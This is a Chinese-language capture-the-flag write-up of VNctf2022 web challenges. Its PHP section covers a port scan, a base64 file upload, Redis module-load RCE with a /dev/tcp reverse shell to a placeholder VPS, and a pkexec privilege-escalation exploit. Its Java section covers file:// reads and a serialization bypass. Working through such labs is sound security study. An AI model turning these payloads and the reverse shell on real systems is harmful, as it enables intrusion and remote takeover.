VNctf2022 web

VNctf2022

[InterestingPHP]复现

发现 phpinfo() 被ban,但是依旧可以通过 ini_get_all() 来读取php相关的配置信息,包括 disable_functions/disable_class/open_basedir 等信息都是⽐较重要的。

var_dump(get_cfg_var(%27disable_functions%27)); //这个在本题目不可用
exp=print_r(ini_get_all());

使⽤ scandir() 来探测⽬录⽂件发现存在⼀个 secret.rdb ⽂件,可以直接下载下来,到这⾥其实就可以发现 是⼀个redis数据的备份⽂件,关注点在: sercetye_w4nt_a_gir1fri3nd

可以猜测redis的auth为 ye_w4nt_a_gir1fri3nd

然后就是端⼝扫描寻找redis端⼝的操作,可以参考WMCTF2021中 MakePHPGreatAgainAndAgain 的探测⽅法,使 ⽤ stream_socket_server() 来探测端⼝,构造


highlight_file(__FILE__);
# Port scan
for($i=0;$i<65535;$i++) {
  $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
  if($ee2 === "Address already in use") {
    var_dump($i);
  }
}

base64编码处理:

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/9/10 14:38
import base64

a = open("1.txt", 'rb')
# print(a.read())
print(base64.b64encode(a.read()))

写入:

/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaS
srKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaW
YoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==

利⽤ get_loaded_extensions() 可以看到PHP加载的插件,从中可以看到题⽬环境中加载了PHP的redis插件 (redis.so),翻找⼀下⽂档可以找到这个插件的Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作。

?exp=print_r(get_loaded_extensions());

要素⻬全,可以实现redis主从复制RCE,先利⽤ file_put_contents() 来写⼊⼀个redis主从复制RCE的so⽂件, 接下来就是构造⼀个反弹Shell的Payload:

$redis = new Redis();
$redis->connect('127.0.0.1',8888);
$redis->auth('ye_w4nt_a_gir1fri3nd');
$redis->rawCommand('module','load','/var/www/html/exp.so');
$redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/VPS_IP/PORT <&1'");

这里考点就是近期爆出的pkexec提权漏洞,同样的方法写入pkexec提权的poc,这里分享-个: https://github.com/arthepsy/CVE-2021-4034.git

chmod +x 1.c
gcc 1.c -o shell
./shell
cat /flag

GameV4.0

直接去js里面找

easyJ4va

文件读取tomcat基础路径:1.13.163.248:8087/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/util/SerAndDe.class

去**1.13.163.248:8087/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/**这下面,挨个把文件down下来然后反编译一下

servlet.HelloWorldServlet:

import entity.User;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import servlet.HelloWorldServlet;
import util.Secr3t;
import util.SerAndDe;

@WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"})
public class HelloWorldServlet extends HttpServlet {
  private volatile String name = "m4n_q1u_666";
  
  private volatile String age = "666";
  
  private volatile String height = "180";
  
  User user;
  
  public void init() throws ServletException {
    this.user = new User(this.name, this.age, this.height);
  }
  
  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String reqName = req.getParameter("name");
    if (reqName != null)
      this.name = reqName; 
    if (Secr3t.check(this.name)) {
      Response(resp, "no vnctf2022!");
      return;
    } 
    if (Secr3t.check(this.name))
      Response(resp, "The Key is " + Secr3t.getKey()); 
  }
  
  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String key = req.getParameter("key");
    String text = req.getParameter("base64");
    if (Secr3t.getKey().equals(key) && text != null) {
      Base64.Decoder decoder = Base64.getDecoder();
      byte[] textByte = decoder.decode(text);
      User u = (User)SerAndDe.deserialize(textByte);
      if (this.user.equals(u))
        Response(resp, "DeserializeFlag is " + Secr3t.getFlag().toString()); 
    } else {
      Response(resp, "KeyError");
    } 
  }
  
  private void Response(HttpServletResponse resp, String outStr) throws IOException {
    ServletOutputStream out = resp.getOutputStream();
    out.write(outStr.getBytes());
    out.flush();
    out.close();
  }
}

这里有个大体思路:绕过前面的两个if,然后自己进行序列化

第一个考点:

VNctf2022 web_第1张图片

这里我用的bp进行类似于条件竞争的操作进行发包

GET /evi1?name=vnctf2022 HTTP/1.1
Host: 1.13.163.248:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close

GET /evi1?name=vnc2 HTTP/1.1
Host: 1.13.163.248:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close

最后会得到长度为136的包里面就是key

servlet.FileServlet:

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import servlet.FileServlet;
import util.UrlUtil;

@WebServlet(name = "FileServlet", urlPatterns = {"/file"})
public class FileServlet extends HttpServlet {
  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String url = req.getParameter("url");
    if (url != null) {
      InputStream responseContent = null;
      try {
        responseContent = UrlUtil.visit(url);
        IOUtils.copy(responseContent, (OutputStream)resp.getOutputStream());
        resp.flushBuffer();
      } catch (Exception e) {
        e.printStackTrace();
      } finally {
        responseContent.close();
      } 
    } else {
      Response(resp, "please input a url");
    } 
  }
  
  private void Response(HttpServletResponse resp, String outStr) throws IOException {
    ServletOutputStream out = resp.getOutputStream();
    out.write(outStr.getBytes());
    out.flush();
    out.close();
  }
}

util.SerAndDe:

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class SerAndDe {
  public static byte[] serialize(Object object) {
    ObjectOutputStream oos = null;
    ByteArrayOutputStream bos = null;
    try {
      bos = new ByteArrayOutputStream();
      oos = new ObjectOutputStream(bos);
      oos.writeObject(object);
      byte[] b = bos.toByteArray();
      return b;
    } catch (IOException e) {
      System.out.println("serialize Exception:" + e.toString());
      return null;
    } finally {
      try {
        if (oos != null)
          oos.close(); 
        if (bos != null)
          bos.close(); 
      } catch (IOException ex) {
        System.out.println("io could not close:" + ex.toString());
      } 
    } 
  }
  
  public static Object deserialize(byte[] bytes) {
    ByteArrayInputStream bais = null;
    try {
      bais = new ByteArrayInputStream(bytes);
      ObjectInputStream ois = new ObjectInputStream(bais);
      return ois.readObject();
    } catch (ClassNotFoundException|IOException e) {
      System.out.println("deserialize Exception:" + e.toString());
      return null;
    } finally {
      try {
        if (bais != null)
          bais.close(); 
      } catch (IOException ex) {
        System.out.println("LogManage Could not serialize:" + ex.toString());
      } 
    } 
  }
}

这里为我们提供了序列化和反序列化函数

util.UrlUtil:

import java.io.InputStream;
import java.net.URL;

public class UrlUtil {
  public static InputStream visit(String url) throws Exception {
    URL file = new URL(url);
    InputStream inputStream = file.openStream();
    return inputStream;
  }
}

entity.User:

import entity.User;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable {
  private String name;
  
  private String age;
  
  private transient String height;
  
  public User(String name, String age, String height) {
    this.name = name;
    this.age = age;
    this.height = height;
  }
  
  public String getName() {
    return this.name;
  }
  
  public void setName(String name) {
    this.name = name;
  }
  
  public String getAge() {
    return this.age;
  }
  
  public void setAge(String age) {
    this.age = age;
  }
  
  public String getHeight() {
    return this.height;
  }
  
  public void setHeight(String height) {
    this.height = height;
  }
  
  private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    s.defaultReadObject();
    this.height = (String)s.readObject();
  }
  
  public boolean equals(Object obj) {
    if (obj == null)
      return false; 
    if (this == obj)
      return true; 
    if (obj instanceof User) {
      User user = (User)obj;
      if (user.getAge().equals(this.age) && user.getHeight().equals(this.height) && user.getName().equals(this.name))
        return true; 
      return false;
    } 
    return false;
  }
  
  public String toString() {
    return "User{name='" + this.name + '\'' + ", age='" + this.age + '\'' + ", height='" + this.height + '\'' + '}';
  }
}

这里也有个考点,注意身高的位置,有关键字transient
VNctf2022 web_第2张图片

所以我们需要加一个writeobject函数:

private void writeObject(ObjectOutputStream s) throws IOException, ClassNotFoundException {       				s.defaultWriteObject();
	s.writeObject("180");
}

util.Secr3t:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;
import util.Secr3t;

public class Secr3t {
  private static final String Key = RandomStringUtils.randomAlphanumeric(32);
  
  private static StringBuffer Flag;
  
  public static String getKey() {
    return Key;
  }
  
  public static StringBuffer getFlag() {
    Flag = new StringBuffer();
    InputStream in = null;
    try {
      in = Runtime.getRuntime().exec("/readflag").getInputStream();
    } catch (IOException e) {
      e.printStackTrace();
    } 
    BufferedReader read = new BufferedReader(new InputStreamReader(in));
    try {
      String line = null;
      while ((line = read.readLine()) != null)
        Flag.append(line + "\n"); 
    } catch (IOException e) {
      e.printStackTrace();
    } finally {
      try {
        in.close();
        read.close();
      } catch (IOException e) {
        e.printStackTrace();
        System.out.println("Secr3t : io exception!");
      } 
    } 
    return Flag;
  }
  
  public static boolean check(String checkStr) {
    if ("vnctf2022".equals(checkStr))
      return true; 
    return false;
  }
}

exp:

import java.util.Base64;
import entity.User;

public class main {
    public static void main(String[] args) {
        User u = new User("m4n_q1u_666", "666", "180");
        byte[] bytes = SerAndDe.serialize(u);
        String string = new String(Base64.getEncoder().encode(bytes));
        System.out.println(string);

        Base64.Decoder decoder = Base64.getDecoder();
        byte[] textByte = decoder.decode("rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHgrO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHg==");
        User uu = (User) SerAndDe.deserialize(textByte);
        System.out.println(u.equals(uu));
    }
}

总共两个考点

gocalc0

把经过base64加密的session大体删减一下就出了

VNctf2022 web_第3张图片

你可能感兴趣的:(比赛,java安全,java,web安全,ctf)